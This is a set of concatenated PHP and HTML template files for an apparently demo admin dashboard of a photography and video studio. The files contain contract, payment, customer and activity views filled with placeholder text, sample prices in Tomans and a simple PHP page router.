class="fas fa-pen text-white"></i></button>
</td>
</tr>
<tr class="text-center">
<td>3</td>
<td>Tripod stand F50</td>
<td>C</td>
<td>5,000,000 T</td>
<td>
<button type="button" class="btn btn-icon btn-primary btn-danger"><i
class="fas fa-trash-alt text-white"></i></button>
<button type="button" class="btn btn-icon btn-primary "><i
class="fas fa-pen text-white"></i></button>
</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<ul class="list-group mt-5">
<li class="list-group-item">
1. Nam libero tempore, cum soluta
<a class="text-danger float-right"
href="#">
<i class="fas fa-times"></i>
</a>
</li>
<li class="list-group-item">
2. Nam libero tempore, cum soluta
<a class="text-danger float-right"
href="#">
<i class="fas fa-times"></i>
</a>
</li>
<li class="list-group-item">
3. Nam libero tempore, cum soluta
<a class="text-danger float-right"
href="#">
<i class="fas fa-times"></i>
</a>
</li>
<li class="list-group-item">
4. Nam libero tempore, cum soluta
<a class="text-danger float-right"
href="#">
<i class="fas fa-times"></i>
</a>
</li>
</ul>
<div class="form-group mt-4">
<label class="form-label"></label>
<div class="input-group">
<input type="text" class="form-control" placeholder="Note & Exception here">
<span class="input-group-append ">
<button class="btn btn-outline-secondary btn-sm font-weight-bold" type="button"><i
class="fas fa-plus "></i> New object</button>
</span>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="col-12 ">
<div class="card">
<div class="card-header border-info">
<h3 class="card-title font-weight-extrabold"><i class="fas fa-check-circle fs-24 text-info "></i>
Objects of contract </h3>
</div>
<div class="card-body">
<div class="panel panel-primary">
<div class="table-responsive mb-5">
<table class="table card-table table-vcenter border text-nowrap nowrap">
<thead class="bg-primary font-weight-bold">
<tr>
<th class="text-center">products</th>
<th class="text-center">size</th>
<th class="text-center">Print type</th>
<th class="text-center">Price</th>
<th class="text-center w-15">Quantity</th>
<th class="text-center">Delivery date</th>
<th class="text-center">Status</th>
</tr>
</thead>
<tbody>
<tr>
<td class="text-center">magazine style</td>
<td class="text-center">1300*800</td>
<td class="text-center">luster</td>
<td class="text-center">1,000,000 T</td>
<td class="text-center">2</td>
<td class="text-center">02 Sep 2020</td>
<td class="text-center">Registrated</td>
</tr>
<tr>
<td class="text-center">flush mount</td>
<td class="text-center">1300*800</td>
<td class="text-center">water glass</td>
<td class="text-center">4,000,000 T</td>
<td class="text-center">1</td>
<td class="text-center">02 Sep 2020</td>
<td class="text-center">Paid</td>
</tr>
<tr>
<td class="text-center">glass frame</td>
<td class="text-center">1300*800</td>
<td class="text-center">silk</td>
<td class="text-center">2,000,000 T</td>
<td class="text-center">4</td>
<td class="text-center">02 Sep 2020</td>
<td class="text-center">Choose photo</td>
</tr>
<tr>
<td class="text-center">canvas</td>
<td class="text-center">1300*800</td>
<td class="text-center">metallic</td>
<td class="text-center">6,000,000 T</td>
<td class="text-center">1</td>
<td class="text-center">02 Sep 2020</td>
<td class="text-center">Send to editor</td>
</tr>
<tr>
<td class="text-center">flush mount</td>
<td class="text-center">1300*800</td>
<td class="text-center">water glass</td>
<td class="text-center">4,000,000 T</td>
<td class="text-center">2</td>
<td class="text-center">02 Sep 2020</td>
<td class="text-center">Ready for print</td>
</tr>
</tbody>
</table>
</div>
<div class="row mt-2">
<div class="col-md-12 col-lg-12">
<div class="table-responsive ">
<table class="table card-table table-vcenter text-nowrap table-primary border">
<thead class="bg-primary text-white">
<tr class="text-center">
<td class="text-white "></td>
<th class="text-white">subservice</th>
<th class="text-white">price</th>
</tr>
</thead>
<tbody>
<tr class="text-center">
<td>1</td>
<td>Heli shot NI370</td>
<td>800,000 T</td>
</tr>
<tr class="text-center">
<td>2</td>
<td>Camera Nikon D3400</td>
<td>1,000,000 T</td>
</tr>
<tr class="text-center">
<td>3</td>
<td>Tripod stand F50</td>
<td>5,000,000 T</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<ul class="list-group mt-5 ">
<li class="list-group-item">
1. Nam libero tempore, cum soluta
</li>
<li class="list-group-item">
2. Nam libero tempore, cum soluta
</li>
<li class="list-group-item">
3. Nam libero tempore, cum soluta
</li>
<li class="list-group-item">
4. Nam libero tempore, cum soluta
</li>
</ul>
</div>
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-6 ">
<div class="card">
<div class="card-header border-danger">
<h3 class="card-title font-weight-extrabold"><i class="fas fa-edit fs-24 text-danger"></i> Timing</h3>
</div>
<div class="card-body">
<div class="row">
<div class="col-12">
<div class="row mb-3">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold">Start date :</label>
</div>
<div class="col-lg-9">
<input type="date" class="form-control" name="example-text-input"
placeholder="" value="This is a title">
</div>
</div>
<div class="row mb-3">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold">Deadline date :</label>
</div>
<div class="col-lg-9">
<input type="date" class="form-control" name="example-text-input"
placeholder="" value="This is a title">
</div>
</div>
<div class="row mb-3">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold">Working days :</label>
</div>
<div class="col-lg-9">
<input type="date" class="form-control" name="example-text-input"
placeholder="" value="This is a title">
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="col-6 ">
<div class="card">
<div class="card-header border-info">
<h3 class="card-title font-weight-extrabold"><i class="fas fa-check-circle fs-26 text-info"></i> Timing
</h3>
</div>
<div class="card-body">
<div class="row">
<div class="col-12">
<div class="price-body">
<ul class="text-center">
<li><b class="font-weight-bold">Start date :</b> 11 Jan 2019</li>
<hr class="my-4">
<li><b class="font-weight-bold">Deadline date :</b> 20 Feb 2019</li>
<hr class="my-4">
<li><b class="font-weight-bold">Working days :</b> 24 Jan 2019 - 29 Jan 2019 - 16 Feb
2019
</li>
</ul>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-6 ">
<div class="card">
<div class="card-header border-danger">
<h3 class="card-title font-weight-extrabold"><i class="fas fa-edit fs-24 text-danger "></i> Financial
</h3>
<div class="card-options d-none d-sm-block">
<a href="#" class="btn btn-secondary btn-sm" data-target="#modal_save_as_template"
data-toggle="modal">Make invoice</a>
</div>
</div>
<div class="card-body">
<div class="row">
<div class="col-6">
<div class="form-group">
<label class="form-label font-weight-bold">Total Price :</label>
<p class="font-weight-bold text-muted ">13,500,000 T</p>
</div>
<div class="form-group">
<label class="form-label font-weight-bold">Unscheduled amount :</label>
<p class="font-weight-bold text-muted">2,500,000 T</p>
</div>
</div>
</div>
<div class="row ">
<div class="col-12">
<div class="card mb-0">
<div class="card-header ">
<h5 class="mb-0 text-muted">Payment steps</h5>
<button href="javascript:void(0)" data-toggle="modal" data-target="#payment-modal"
class="btn btn-success float-right ml-auto btn-sm"><i
class="fas fa-plus mr-1"></i></button>
</div>
<div class="card-body">
<div class="table-responsive">
<table class="table card-table table-vcenter table-hover">
<thead>
<tr class="bg-primary">
<th></th>
<th class="text-center">Step</th>
<th class="text-center">Date</th>
<th class="text-center">Method</th>
<th class="text-center">Price</th>
<th class="text-center">Action</th>
</tr>
</thead>
<tbody>
<tr>
<th scope="row">1</th>
<td class="text-center"><NAME></td>
<td class="text-center">12-12-12</td>
<td class="text-center">Cache</td>
<td class="text-center">$450,870</td>
<td class="text-center">
<button type="button" class="btn btn-icon btn-primary btn-danger"><i
class="fas fa-trash-alt text-white"></i></button>
</td>
</tr>
<tr>
<th scope="row">2</th>
<td class="text-center"><NAME></td>
<td class="text-center">12-12-12</td>
<td class="text-center">Cheque</td>
<td class="text-center">$230,540</td>
<td class="text-center">
<button type="button" class="btn btn-icon btn-primary btn-danger"><i
class="fas fa-trash-alt text-white"></i></button>
</td>
</tr>
<tr>
<th scope="row">3</th>
<td class="text-center"><NAME></td>
<td class="text-center">12-12-12</td>
<td class="text-center">POS</td>
<td class="text-center">$55,300</td>
<td class="text-center">
<button type="button" class="btn btn-icon btn-primary btn-danger"><i
class="fas fa-trash-alt text-white"></i></button>
</td>
</tr>
<tr>
<th scope="row">4</th>
<td class="text-center"><NAME></td>
<td class="text-center">12-12-12</td>
<td class="text-center">Cheque</td>
<td class="text-center">$234,100</td>
<td class="text-center">
<button type="button" class="btn btn-icon btn-primary btn-danger"><i
class="fas fa-trash-alt text-white"></i></button>
</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="col-6 ">
<div class="card">
<div class="card-header border-info">
<h3 class="card-title font-weight-extrabold"><i class="fas fa-check-circle fs-24 text-info "></i>
Financial</h3>
</div>
<div class="card-body">
<div class="row">
<div class="col-12">
<div class="price-body">
<ul class="text-center">
<li><b class="font-weight-bold">Total Price :</b> 13,500,000 T</li>
<hr class="my-4">
<li><b class="font-weight-bold">Unscheduled amount :</b> 2,500,000 T</li>
<hr class="my-4">
</ul>
</div>
<div class="row mt-6 mb-8">
<div class="col-12">
<div class="card mb-0">
<div class="card-header ">
<h5 class="mb-0 text-muted">Payment steps</h5>
</div>
<div class="card-body">
<div class="table-responsive">
<table class="table card-table table-vcenter table-hover">
<thead>
<tr class="bg-primary">
<th></th>
<th class="text-center">Step</th>
<th class="text-center">Date</th>
<th class="text-center">Method</th>
<th class="text-center">Price</th>
</tr>
</thead>
<tbody>
<tr>
<th scope="row">1</th>
<td class="text-center"><NAME></td>
<td class="text-center">12-12-12</td>
<td class="text-center">Cache</td>
<td class="text-center">$450,870</td>
</tr>
<tr>
<th scope="row">2</th>
<td class="text-center"><NAME></td>
<td class="text-center">12-12-12</td>
<td class="text-center">Cheque</td>
<td class="text-center">$230,540</td>
</tr>
<tr>
<th scope="row">3</th>
<td class="text-center"><NAME></td>
<td class="text-center">12-12-12</td>
<td class="text-center">POS</td>
<td class="text-center">$55,300</td>
</tr>
<tr>
<th scope="row">4</th>
<td class="text-center"><NAME></td>
<td class="text-center">12-12-12</td>
<td class="text-center">Cheque</td>
<td class="text-center">$234,100</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-6 ">
<div class="card">
<div class="card-header">
<h3 class="card-title">Article example</h3>
<div class="card-options d-none d-sm-block">
<a href="#" class="btn btn-secondary btn-sm" data-target="#modal_save_as_template"
data-toggle="modal">Edit</a>
<a href="#" class="btn btn-primary btn-sm" data-target="#modal_save_as_template"
data-toggle="modal">Save as template</a>
</div>
</div>
<div class="card-body">
<div class="panel panel-primary">
<p>
Lorem ipsum dolor sit amet, consectetur adipisicing elit. Deserunt dolorum eligendi error fuga
ipsa minima nam quae repellat veniam voluptatum.
</p>
<p>
Lorem ipsum dolor sit amet, consectetur adipisicing elit. Corporis eius eligendi, inventore
iusto modi nihil nobis placeat quisquam tempora temporibus? Aliquam cum doloribus error illo
inventore maxime obcaecati odio repellendus.
</p>
<ul>
<li>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Assumenda, sit!</li>
<li>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Assumenda, sit!</li>
</ul>
</div>
</div>
</div>
</div>
<div class="col-6 ">
<div class="card">
<div class="card-header">
Add new article
</div>
<div class="card-body">
<div class="panel panel-primary">
<a href="#" class="btn btn-primary">Import template</a>
<a href="#" class="btn btn-secondary" data-toggle="modal"
data-target="#modal_add_new_article">New</a>
</div>
</div>
</div>
</div>
</div>
<!--modal-->
<div class="modal fade" id="modal_save_as_template" tabindex="-1" role="dialog" aria-hidden="true">
<div class="modal-dialog modal-lg" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="example-Modal3">Edit Deal</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<div class="row">
<div class="col-md-12 col-xl-12">
<div class="card">
<div class="card-header">
Preview
</div>
<div class="card-body">
<div class="panel panel-primary">
<h3>Article example</h3>
<p>
Lorem ipsum dolor sit amet, consectetur adipisicing elit. Deserunt dolorum
eligendi error fuga
ipsa minima nam quae repellat veniam voluptatum.
</p>
<ul>
<li>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Assumenda, sit!
</li>
<li>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Assumenda, sit!
</li>
<li>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Assumenda, sit!
</li>
<li>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Assumenda, sit!
</li>
<li>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Assumenda, sit!
</li>
</ul>
</div>
</div>
</div>
<div class="card">
<div class="card-body">
<div class="form-group">
<label class="form-label">Save as</label>
<input type="text" class="form-control" name="example-text-input"
placeholder="Name">
</div>
</div>
</div>
</div>
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-danger" data-dismiss="modal">Cancel</button>
<button type="button" class="btn btn-primary"><i class="fas fa-check"></i>
Save template
</button>
</div>
</div>
</div>
</div>
<div class="modal fade" id="modal_add_new_article" tabindex="-1" role="dialog" aria-hidden="true">
<div class="modal-dialog modal-lg" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="example-Modal3">Edit / Add Article</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<div class="row">
<div class="col-md-12 col-xl-12">
<div class="card">
<div class="card-body">
<div class="form-group">
<label class="form-label">Title</label>
<input type="text" class="form-control" name="example-text-input"
placeholder="Name" value="This is a title">
</div>
<label>
<textarea class="content" name="example">
Lorem ipsum dolor sit amet, consectetur adipisicing elit. Doloremque, quo?
Lorem ipsum dolor sit amet, consectetur adipisicing elit. Excepturi fugiat incidunt ipsa itaque labore minima officiis sed vitae. Deserunt esse facilis natus quod voluptates? Atque consequatur consequuntur distinctio doloremque enim eos, in incidunt magni natus quidem, repellat rerum saepe veniam?
</textarea>
</label>
<ul class="list-group mt-5">
<li class="list-group-item">
Nam libero tempore, cum soluta
<a class="text-danger"
href="#">
<i class="fas fa-close"></i>
</a>
</li>
<li class="list-group-item">
Nam libero tempore, cum soluta
<a class="text-danger"
href="#">
<i class="fas fa-close"></i>
</a>
</li>
<li class="list-group-item">
Nam libero tempore, cum soluta
<a class="text-danger"
href="#">
<i class="fas fa-close"></i>
</a>
</li>
<li class="list-group-item">
Nam libero tempore, cum soluta
<a class="text-danger"
href="#">
<i class="fas fa-close"></i>
</a>
</li>
</ul>
<div class="form-group mt-3">
<label class="form-label"></label>
<div class="input-group">
<input type="text" class="form-control" placeholder="Note & Exception here">
<span class="input-group-append">
<button class="btn btn-success"
type="button">Add new Note</button>
</span>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-danger" data-dismiss="modal">Cancel</button>
<button type="button" class="btn btn-primary"><i class="fas fa-check"></i>
Edit or Save
</button>
</div>
</div>
</div>
</div>
<div class="modal fade" id="payment-modal" tabindex="-1" role="dialog" aria-hidden="true">
<div class="modal-dialog modal-lg" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="example-Modal3">New payment step</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<div class="row">
<div class="col-md-12 col-xl-12">
<div class="card mb-0">
<div class="card-body">
<div class="row">
<div class="col-12">
<div class="form-group clearfix mb-0">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="ProjectManager">step name :</label>
</div>
<div class="col-lg-9">
<div class="form-group">
<input type="text" class="form-control" name="topic"
placeholder="">
</div>
</div>
</div>
</div>
<div class="form-group clearfix mb-0">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="ProjectManager">payment date :</label>
</div>
<div class="col-lg-9">
<div class="form-group">
<input type="date" class="form-control" name="topic"
placeholder="">
</div>
</div>
</div>
</div>
<div class="form-group clearfix ">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="ProjectManager">payment method :</label>
</div>
<div class="col-lg-9">
<select class="form-control" id="ProjectManager">
<option>method 1</option>
<option>method 2</option>
</select>
</div>
</div>
</div>
<div class="form-group clearfix mb-0">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="ProjectManager">price :</label>
</div>
<div class="col-lg-9">
<div class="form-group">
<input type="text" class="form-control" name="topic"
placeholder="">
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-danger btn-sm" data-dismiss="modal">Cancel</button>
<button type="button" class="btn btn-primary btn-sm"><i class="fas fa-check"></i>
Save
</button>
</div>
</div>
</div>
</div>
<!-- Message Modal -->
<div class="modal fade" id="plus-modal" tabindex="-1" role="dialog" aria-hidden="true">
<div class="modal-dialog modal-lg" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="example-Modal3-1">Choose Subservice</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<div class="row">
<div class="col-12">
<div class="form-group clearfix mt-3">
<div class="row ">
<div class="col-lg-4">
<label class="control-label form-label font-weight-bold">Select Company Activity
:</label>
</div>
<div class="col-lg-8">
<select class="form-control" id="ProjectManager">
<option>Video</option>
<option>Photography</option>
<option>Design & Editing</option>
<option>Professional editing</option>
</select>
</div>
</div>
</div>
</div>
</div>
<div class="row mt-5">
<div class="col-md-12 col-lg-12">
<div class="table-responsive rounded">
<table class="table card-table table-vcenter text-nowrap table-primary border">
<thead class="bg-primary text-white text-center">
<tr>
<th class="text-white">Subservice</th>
<th class="text-white">Grade</th>
<th class="text-white">Price</th>
<th class="text-white">Action</th>
</tr>
</thead>
<tbody class="text-center">
<tr>
<th scope="row">Subservice 1</th>
<td>A</td>
<td>$56</td>
<td>
<button href="#"
class="btn-pill btn-outline-secondary btn-sm">
Select
</button>
</td>
</tr>
<tr>
<th scope="row">Subservice 2</th>
<td>B</td>
<td>$789</td>
<td>
<button href="#"
class="btn-pill btn-outline-secondary btn-sm">
Select
</button>
</td>
</tr>
<tr>
<th scope="row">Subservice 3</th>
<td>C</td>
<td>$685</td>
<td>
<button href="#"
class="btn-pill btn-outline-secondary btn-sm">
Select
</button>
</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-danger" data-dismiss="modal">Cancel</button>
<button type="button" class="btn btn-primary"><i class="fas fa-check"></i> Save</button>
</div>
</div>
</div>
</div>
<?php
$scripts = [
'/assets/plugins/wysiwyag/jquery.richtext.js',
'/assets/plugins/wysiwyag/richText1.js'
];
?><file_sep><div class="mb-5">
<div class="page-header mb-0">
<h3 class="page-title">Welcome</h3>
</div>
</div>
<div class="row">
<div class="col-xl-3 col-lg-12">
<div class="card overflow-hidden">
<div class="card-body pb-0">
<div class="float-left">
<h1 class="mb-3 font-weight-extrabold"><span class="counter">80,000,000</span> Tomans</h1>
<h4 class="text-danger mb-3">This month profit</h4>
<p>The graph below will show a comparison between this month and previous month profit</p>
<a href="#" class="btn btn-danger">
View Details
</a>
</div>
</div>
<div class="chart-wrapper overflow-hidden">
<canvas id="AreaChart1" class="areaChart chart-dropshadow"></canvas>
</div>
</div>
<div class="card">
<div class="card-header">
<h3 class="card-title">Closest to deadline project, status</h3>
</div>
<div class="card-body text-center">
<h3 class="font-weight-semibold">Habibi Family wedding</h3>
<div class="avatar-list avatar-list-stacked mb-3">
<span class="avatar brround cover-image"
data-image-src="../assets/images/photos/pro5.jpg"></span>
<span class="avatar brround cover-image"
data-image-src="../assets/images/photos/pro6.jpg"></span>
<span class="avatar brround cover-image"
data-image-src="../assets/images/photos/pro9.jpg"></span>
<span class="avatar brround cover-image"
data-image-src="../assets/images/photos/pro3.jpg"></span>
<span class="avatar brround cover-image" data-image-src="../assets/images/photos/pro11.jpg"></span>
<span class="avatar brround cover-image">+8</span>
</div>
<label class="font-weight-semibold">Closest to deadline project, status</label>
<div class="progress progress-md mb-6">
<div class="progress-bar progress-bar-striped progress-bar-animated bg-success w-70">70%</div>
</div>
<a class="text-center btn btn-primary" href="#">View Details</a>
</div>
</div>
<div class="card">
<div class="card-header">
<h3 class="card-title">Recent Activity</h3>
</div>
<div class="card-body">
<div class="activity">
<img src="../assets/images/photos/pro3.jpg" alt="" class="img-activity">
<div class="time-activity">
<div class="item-activity">
<p class="mb-0"><b>Ali habibi</b> Add a new projects <b><br> Azizi family wedding</b></p>
<small class="text-primary">30 mins ago</small>
</div>
</div>
<img src="../assets/images/photos/pro1.jpg" alt="" class="img-activity">
<div class="time-activity">
<div class="item-activity">
<p class="mb-0"><b>Saba Nouri</b> Add a new projects <b><br>Project kick off</b></p>
<small class="text-danger">1 days ago</small>
</div>
</div>
<img src="../assets/images/photos/pro9.jpg" alt="" class="img-activity">
<div class="time-activity">
<div class="item-activity">
<p class="mb-0"><b>Saeed Bakhshi</b> Add a new projects <b><br>Internal company meeting</b>
</p>
<small class="text-warning">3 days ago</small>
</div>
</div>
<img src="../assets/images/photos/pro15.jpg" alt="" class="img-activity">
<div class="time-activity mb-0">
<div class="item-activity mb-0">
<p class="mb-0"><b><NAME></b> Add a new projects <b><br>Portfolio demo</b></p>
<small class="text-success">5 days ago</small>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="col-xl-6 col-lg-12">
<div class="card overflow-hidden">
<div class="card-header">
<h3 class="card-title">Statistics</h3>
</div>
<div class="card-body">
<canvas id="chart" class="chart-dropshadow chartsh overflow-hidden"></canvas>
</div>
<div class="card-body">
<div class="row">
<div class="col-sm-4 col-12 text-primary text-center">
<small class="fs-14">Today visitors</small>
<h2 class="mb-4 mb-sm-0 counter font-weight-extrabold">69,568</h2>
</div>
<div class="col-sm-4 col-12 text-orange text-center">
<small class="fs-14">Website Today visitors</small>
<h2 class="mb-4 mb-sm-0 counter font-weight-extrabold">60,475</h2>
</div>
<div class="col-sm-4 col-12 text-info text-center">
<small class="fs-14">In progress Deals</small>
<h2 class="mb-0 mb-sm-0 counter font-weight-extrabold">121</h2>
</div>
</div>
</div>
</div>
<div class="card overflow-hidden">
<div class="card-header">
<h5 class="card-title m-b-0">This week work load</h5>
</div>
<div class="card-body">
<div class="dash4 d-none d-sm-block">
<p class="fs-16 float-right ml-4 text-orange">Unscheduled high priority tasks: <b>3</b></p>
<p class="fs-16 float-right text-success">High priority tasks: <b>20</b></p>
<p class="fs-16">Total Tasks: <b>6</b></p>
</div>
<div class="chart-wrapper ">
<canvas id="team-chart" class="chart-height chart-dropshadow"></canvas>
</div>
</div>
<div class="card-footer">
<span class="text-muted"><i class="si si-clock mr-1"></i>Campaign 1 hour ago</span>
</div>
</div>
<div class="card">
<div class="card-header">
<h3 class="card-title">Today guests</h3>
</div>
<div class="card-body">
<div class="table-responsive">
<table class="table card-table table-vcenter border text-nowrap">
<thead>
<tr>
<th>Name</th>
<th>Status</th>
<th>Phone Number</th>
<th>Reason</th>
</tr>
</thead>
<tbody>
<tr>
<td><NAME></td>
<td><span class="badge badge-pill badge-success">Done</span></td>
<td>+1 23 456 9876</td>
<td>Portfolio meeting at: 10:00</td>
</tr>
<tr>
<td>Siamak Abbasi</td>
<td><span class="badge badge-pill badge-danger">Canceled</span></td>
<td>+1 23 456 9876</td>
<td>Portfolio meeting at: 12:00</td>
</tr>
<tr>
<td><NAME></td>
<td><span class="badge badge-pill badge-warning">In progress</span></td>
<td>+1 23 456 9876</td>
<td>Contract meeting at: 14:00</td>
</tr>
<tr>
<td><NAME></td>
<td><span class="badge badge-pill badge-warning">In progress</span></td>
<td>+1 23 456 9876</td>
<td>Demo meeting at: 15:30</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<div class="col-xl-3 col-lg-12">
<div class="card">
<div class="card-header">
<h3 class="card-title">Latest comments</h3>
</div>
<div class="">
<div class="list d-flex align-items-center border-bottom p-3">
<div class="avatar avatar-lg brround d-block cover-image"
data-image-src="../assets/images/photos/pro6.jpg"></div>
<div class="wrapper w-100 ml-3">
<p class="mb-0 d-flex">
<b><NAME></b>
<small class="text-primary ml-auto">15 mins ago</small>
</p>
<div class="justify-content-between align-items-center">
<div class="d-flex align-items-center">
<p class="mb-0">Hey You it's me again..attached now</p>
</div>
</div>
<div class="mt-1 text-muted">
<i class="si si-action-undo mr-1"></i>
<i class="si si-settings"></i>
</div>
</div>
</div>
<div class="list d-flex align-items-center border-bottom p-3">
<div class="avatar avatar-lg brround d-block cover-image"
data-image-src="../assets/images/photos/pro7.jpg"></div>
<div class="wrapper w-100 ml-3">
<p class="mb-0 d-flex">
<b><NAME></b>
<small class="text-danger ml-auto">30 mins ago</small>
</p>
<div class="justify-content-between align-items-center">
<div class="d-flex align-items-center">
<p class="mb-0">Hey I attached some new PSD files...</p>
</div>
</div>
<div class="mt-1 text-muted">
<i class="si si-action-undo mr-1"></i>
<i class="si si-settings"></i>
</div>
</div>
</div>
<div class="list d-flex align-items-center border-bottom p-3">
<div class="avatar avatar-lg brround d-block cover-image"
data-image-src="../assets/images/photos/pro6.jpg"></div>
<div class="wrapper w-100 ml-3">
<p class="mb-0 d-flex">
<b><NAME></b>
<small class="text-warning ml-auto">2 days ago</small>
</p>
<div class="justify-content-between align-items-center">
<div class="d-flex align-items-center">
<p class="mb-0">Hi Please Send the Edit File.</p>
</div>
</div>
<div class="mt-1 text-muted">
<i class="si si-action-undo mr-1"></i>
<i class="si si-settings"></i>
</div>
</div>
</div>
<div class="list d-flex align-items-center p-3">
<div class="avatar avatar-lg brround d-block cover-image"
data-image-src="../assets/images/photos/pro7.jpg"></div>
<div class="wrapper w-100 ml-3">
<p class="mb-0 d-flex">
<b><NAME> </b>
<small class="text-success ml-auto">6 days ago</small>
</p>
<div class="justify-content-between align-items-center">
<div class="d-flex align-items-center">
<p class="mb-0">Hello My new Templates Adding.because those who do not know how to
pleasure .</p>
</div>
</div>
<div class="mt-1 text-muted">
<i class="si si-action-undo mr-1"></i>
<i class="si si-settings"></i>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<?php
$scripts = [
'/assets/plugins/chart.js/chart.min.js',
'/assets/plugins/chart.js/chart.extension.js',
'/assets/plugins/othercharts/jquery.knob.js',
'/assets/plugins/othercharts/othercharts.js',
'/assets/plugins/othercharts/jquery.sparkline.min.js',
'/assets/plugins/peitychart/jquery.peity.min.js',
'/assets/plugins/counters/counterup.min.js',
'/assets/js/index.js'
];
?><file_sep><?php
$requested_file_name = $_SERVER['REQUEST_URI'];
$document_root = $_SERVER['DOCUMENT_ROOT'];
if ($requested_file_name == '/') {
$requested_file_name = '/dashboard';
}
$requested_file_path = $document_root . '/pages' . $requested_file_name . '.php';
if (file_exists($requested_file_path)) {
require 'head.php';
require 'header.php';
require $requested_file_path;
require 'side-bar-right.php';
require 'footer.php';
require 'foot.php';
} else {
$requested_file_name = '/not_found';
$requested_file_path = $document_root . '/pages' . $requested_file_name . '.php';
require 'head.php';
require 'header.php';
require $requested_file_path;
require 'side-bar-right.php';
require 'footer.php';
require 'foot.php';
}
<file_sep><?php
if (isset($scripts)) {
foreach ($scripts as $script) { ?>
<script src="<?= $script ?>"></script>
<?php }
}
<file_sep><!--Page Header-->
<div class="mb-5">
<div class="page-header mb-0">
<h4 class="page-title">Customer Group view</h4>
<div class="float-right ml-auto">
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal" class="btn btn-primary "><i class="fas fa-pen"></i> Edit</a>
<a href="#" class="btn btn-primary bg-red"><i class="fas fa-trash mr-1"></i>Delete</a>
</div>
</div>
</div>
<!--page header end-->
<div class="row">
<div class="col-md-12 col-lg-6 col-xl-3">
<div class="card">
<div class="card-body text-center">
<img src="../assets/images/svgs/png/071-logistic-13.png" alt="img" class="w-8 h-8 mb-4">
<div class="svg-btn">
<a class="btn btn-primary btn-pill" href="#">Male customers</a>
</div>
<h3 class="mt-4">450</h3>
</div>
</div>
</div>
<div class="col-md-12 col-lg-6 col-xl-6">
<div class="card">
<div class="card-body text-center">
<img src="../assets/images/svgs/png/063-logistic-5.png" alt="img" class="w-8 h-8 mb-4">
<div class="svg-btn">
<a class="btn btn-primary btn-pill" href="#">Total customers</a>
</div>
<h3 class="mt-4">950</h3>
</div>
</div>
</div>
<div class="col-md-12 col-lg-6 col-xl-3">
<div class="card">
<div class="card-body text-center">
<img src="../assets/images/svgs/png/070-logistic-12.png" alt="img" class="w-8 h-8 mb-4">
<div class="svg-btn">
<a class="btn btn-primary btn-pill" href="#">Female customers</a>
</div>
<h3 class="mt-4">500</h3>
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-md-12 col-lg-12">
<div class="card">
<div class="card-header">
<div class="card-title">All customers</div>
</div>
<div class="card-body">
<div class="table-responsive ">
<table id="example-2" class="table table-striped table-bordered nowrap">
<thead class="bg-primary">
<tr>
<th class="wd-15p border-bottom-0 text-center">Name</th>
<th class="wd-15p border-bottom-0 text-center">Family</th>
<th class="wd-10p border-bottom-0 text-center">Gender</th>
<th class="wd-10p border-bottom-0 text-center">Birthday</th>
<th class="wd-15p border-bottom-0 text-center">Mobile number</th>
<th class="wd-15p border-bottom-0 text-center">Static phone</th>
<th class="wd-25p border-bottom-0 text-center">City</th>
<th class="wd-25p border-bottom-0 text-center">Branch</th>
<th class="wd-20p border-bottom-0 text-center">Grade</th>
<th class="border-bottom-0 text-center">Actions</th>
</tr>
</thead>
<tbody>
<tr>
<td class="text-center">Mohsen</td>
<td class="text-center">Afsharzade</td>
<td class="text-center">Male</td>
<td class="text-center">21/6/1368</td>
<td class="text-center">+98 933 944 9756</td>
<td class="text-center">021 66706689</td>
<td class="text-center">Tehran</td>
<td class="text-center">Shariati</td>
<td class="text-center">
<div class="rating">
<label><i class="fa fa-star text-warning"></i></label>
